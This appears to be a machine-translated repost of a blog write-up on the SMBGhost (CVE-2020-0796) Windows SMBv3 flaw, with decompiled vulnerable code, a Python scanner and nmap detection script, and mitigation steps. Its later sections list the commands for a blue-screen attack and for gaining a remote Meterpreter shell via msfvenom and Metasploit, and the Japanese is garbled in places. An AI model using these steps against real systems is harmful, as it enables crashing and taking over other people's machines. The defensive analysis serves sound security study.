CVE-2020-0796 SMBリモートコード実行の脆弱性(分析、検証、強化)

0x00はじめに

     最近忙しいのですが、大人気の CVE-2020-0796(エターナルブラック)が来て再現されいません。今日は高速インターネットを利用して、脆弱なシステムをできるだけ早くダウンロードし、検出の準備をしてください。ペイロード、ブルースクリーンペイロード、および言及正しいペイロードとコマンド実行ペイロードは波を再現します。比較すると、ペイロードは異なる機能を実現するためにのみ異なります。分析は以下のとおりです。

0x01の脆弱性の説明      

     脆弱性速報は、SMB 3.1.1プロトコルで圧縮メッセージを処理するときに、その中のデータのセキュリティがチェックされないことを示しています。直接使用すると、メモリ破損の脆弱性が発生し、攻撃者が任意のコードをリモートで実行する可能性があります。攻撃者はこの脆弱性を利用して、許可なくリモートでコードが実行される可能性があり、ハッカーに攻撃された標的システムは、起動してオンラインにするだけで侵入される可能性があります。

0x02脆弱性ハザードレベル        

高い

0x03影響を受けるバージョン

32ビットシステム
用のWindows10バージョン
1903x64ベースシステム用のWindows10バージョン1903ARM64ベースシステム用のWindows10バージョン1903Windows
Server、バージョン1903(Server Coreインストール)
32ビットシステム
用のWindows10バージョン1909Windows10バージョン1909 x64ベースのシステム
用Windows10バージョン1909ARM64ベースのシステム用WindowsServer
バージョン1909(Server Coreインストール)

テストマシンのIP:192.168.1.159

0x04脆弱性の原則

    脆弱性はsrv2.sysで発生しました。SMBは圧縮されたデータパケットを正しく処理しなかったため、データパケットを解凍するときに、クライアントから渡された長さを使用してデータパケットを解凍するときに、長さが正当かどうかをチェックしませんでした。 、整数オーバーフローが発生しました。

SMB v3はデータ圧縮をサポートします。SMBヘッダーのProtocolIdが0x424D53FC、つまり0xFC、 'S'、 'M'、 'B'の場合、データは圧縮されます。このとき、smbは圧縮および解凍処理を呼び出します。機能。

まず、SMBはsrv2!Srv2ReceiveHandler関数を呼び出してsmbデータパケットを受信し、ProtocoIIdに従って対応する処理関数を設定します。

__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
    ...
    //
    // 这里判断头部ProtocolId
    //
     if ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMS\xFC' )
      {
        if ( KeGetCurrentIrql() > 1u )
        {
          v20[14].Next = (_SLIST_ENTRY *)v11;
          v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
          v43 = HIDWORD(v20->Next) == 5;
          *((_DWORD *)&v20[3].Next + 2) = 0;
          if ( v43 )
          {
            LOBYTE(v71) = 1;
            LOBYTE(v35) = 1;
            SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307i64, "Srv2PostToThreadPool", (_DWORD)v71);
          }
          v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
          v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);
          if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )
            RfspThreadPoolNodeWakeIdleWorker(v45);
          goto LABEL_168;
            }
        }
}

整数オーバーフローの脆弱性を生成するコードは次のとおりです。

__int64 __fastcall Srv2DecompressData(__int64 pData)
{
  __int64 v2; // rax
  COMPRESSION_TRANSFORM_HEADER Header; // xmm0 MAPDST
  __m128i v4; // xmm0
  unsigned int CompressionAlgorithm; // ebp
  __int64 UnComparessBuffer; // rax MAPDST
  int v9; // eax
  int v11; // [rsp+60h] [rbp+8h]
  v11 = 0;
  v2 = *(_QWORD *)(pData + 0xF0);
  if ( *(_DWORD *)(v2 + 0x24) < 0x10u )         // 这里判断数据包长度的最小值
    return 0xC000090Bi64;
  Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
                                                // [v2+0x24]为数据包长度
  v4 = _mm_srli_si128((__m128i)Header, 8);
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
  if ( CompressionAlgorithm != v4.m128i_u16[0] )
    return 0xC00000BBi64;                      
  UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的UnCompressBuffer
  if ( !UnComparessBuffer )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,             // CompressionAlgorithm
              *(_QWORD *)(*(_QWORD *)(pData + 0xF0) + 0x18i64) + (unsigned int)Header.Length + 0x10i64,// CompressedBuffer
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(pData + 0xF0) + 0x24i64) - Header.Length - 0x10),// CompressedBufferSize
              (unsigned int)Header.Length + *(_QWORD *)(UnComparessBuffer + 0x18),// UncompressedBuffer,会传入SmbCompressionDecompress函数进行Decompress处理。
              Header.OriginalCompressedSegmentSize,
              &v11) < 0
    || (v9 = v11, v11 != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(UnComparessBuffer);
    return 0xC000090Bi64;
  }
  if ( Header.Length )
  {
    memmove(
      *(void **)(UnComparessBuffer + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(pData + 240) + 24i64) + 16i64),
      (unsigned int)Header.Length);
    v9 = v11;
  }
  *(_DWORD *)(UnComparessBuffer + 36) = Header.Length + v9;
  Srv2ReplaceReceiveBuffer(pData, UnComparessBuffer);
  return 0i64;
}

0x05 脆弱性検出

多くの検証スクリプトがあり、全体的な考え方は、戻りパケットの特定の場所に16進数の\ x11 \ x03または\ x02 \ x00の2つのキーワードが含まれているかどうかを検証することです。脆弱なSMBバージョンの通信応答パケットは次のとおりです。

Python3バージョンのPOC

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

nmapスクリプトを使用して、nmapの強力なフレームワークに依存して検証することもできます。これはより便利です。

local smb = require "smb"
local stdnse = require "stdnse"
local nmap = require "nmap"

description = [[
smb-protocols script modified to apply check for CVE-2020-0796 by psc4re. 
Attempts to list the supported protocols and dialects of a SMB server.
Packet check based on https://github.com/ollypwn/SMBGhost/
The script attempts to initiate a connection using the dialects:
* NT LM 0.12 (SMBv1)
* 2.02       (SMBv2)
* 2.10       (SMBv2)
* 3.00       (SMBv3)
* 3.02       (SMBv3)
* 3.11       (SMBv3)
Additionally if SMBv1 is found enabled, it will mark it as insecure. This
script is the successor to the (removed) smbv2-enabled script.
]]

---
-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -p139 --script smb-protocols <target>
--
-- @output
-- | smb-protocols:
-- |   dialects:
-- |     NT LM 0.12 (SMBv1) [dangerous, but default]
-- |     2.02
-- |     2.10
-- |     3.00
-- |     3.02
-- |_    3.11 (SMBv3.11) compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost
--
-- @xmloutput
-- <table key="dialects">
-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
-- <elem>2.02</elem>
-- <elem>2.10</elem>
-- <elem>3.00</elem>
-- <elem>3.02</elem>
-- <elem>3.11 (SMBv3.11) [Potentially Vulnerable to CVE-2020-0796 Coronablue]</elem>
-- </table>
---

author = "Paulino Calderon (Modified by Psc4re)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "discovery"}

hostrule = function(host)
  return smb.get_port(host) ~= nil
end

action = function(host,port)
  local status, supported_dialects, overrides
  local output = stdnse.output_table()
  overrides = {}
  status, supported_dialects = smb.list_dialects(host, overrides)
  if status then
    for i, v in pairs(supported_dialects) do -- Mark SMBv1 as insecure
      if v == "NT LM 0.12" then
        supported_dialects[i] = v .. " (SMBv1) [dangerous, but default]"
      end
      if v == "3.11" then
        local msg 
        local response
        local compresionalg
        local comp
        msg = '\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
        local socket = nmap.new_socket()
        socket:set_timeout(3000)
        socket:connect(host.ip,445)
        socket:send(msg)
        response,data = socket:receive()
        compressionalg=  string.sub(data,-2)    
        if compressionalg == "\x01\x00" then
          comp = "LZNT1 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "\x02\x00" then
          comp ="LZ77 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "\x00\x00" then
          comp ="No Compression Not Vulnerable"
        elseif compressionalg == "\x03\x00" then
          comp="LZ77+Huffman compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        end
        supported_dialects[i] = v .." " .. comp
      end
    end
    output.dialects = supported_dialects
  end

  if #output.dialects>0 then
    return output
  else
    stdnse.debug1("No dialects were accepted")
    if nmap.verbosity()>1 then
      return "No dialects accepted. Something may be blocking the responses"
    end
  end
end

Qi’anxinのPOCテストスクリプトを使用してテストすることもできます。

0x06ローカル権限昇格POC

権限をnt権限\システムに正常に昇格しました

0x07ブルースクリーンテスト

ここで時間を節約し、いくつかの写真を収集します。gitダウンロードアドレスはまだすべての人のためのものです。破壊のために使用しないでください。違反者が結果を負担します。

まず、gitブルースクリーンテストの概念実証をダウンロード
し、依存関係を インストールします

攻撃マシンKaliip:192.168.1.160

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

スクリプトを使用したブルースクリーン攻撃

python3 gistfile1.py 192.168.1.159

0x08リモートコマンド実行シェル

最初にsysteminfoを使用してパッチ(KB4551762)を確認し、kaliで 
リバウンドシェルコードのPythonバージョンを生成します

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

生成されたシェルコードを表示する

cat exp.py

生成されたexp.pyコードの変数bufを変数USER_PAYLOADに置き換えてから、次のコードをカバーするようにすべてのコードを貼り付けます。

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 2333
set rhost 192.168.1.106 (目标ip)
run

0x09のバグ修正

1.更新し、パッチのインストールを完了します。

操作手順:[設定]-> [更新とセキュリティ]-> [Windows Update]で、[更新の確認]をクリックします。

2. Microsoftは一時的な対策を講じました
。regedit.exeを実行し、レジストリエディターを開き、HKLM \ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ ParametersにDisableCompressionという名前のDWORDを作成します。値は1で、SMB圧縮機能を禁止します。

3.SMB通信ポート445をブロックします。4.パッチリンクhttps://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762

参照接続

  • https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
  •  https://github.com/danigargu/CVE-2020-0796
  •  http://dl.qianxin.com/skylar6
  •  https://github.com/ollypwn/SMBGhost
  •  https://github.com/chompie1337/SMBGhost_RCE_PoC
  •  https://github.com/danigargu/CVE-2020-0796
  •  https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

次のことを示してください:Adminxeのブログ »  CVE-2020-0796 SMBリモートコード実行の脆弱性(分析、検証、強化)

 

おすすめ

転載: blog.csdn.net/Adminxe/article/details/106744182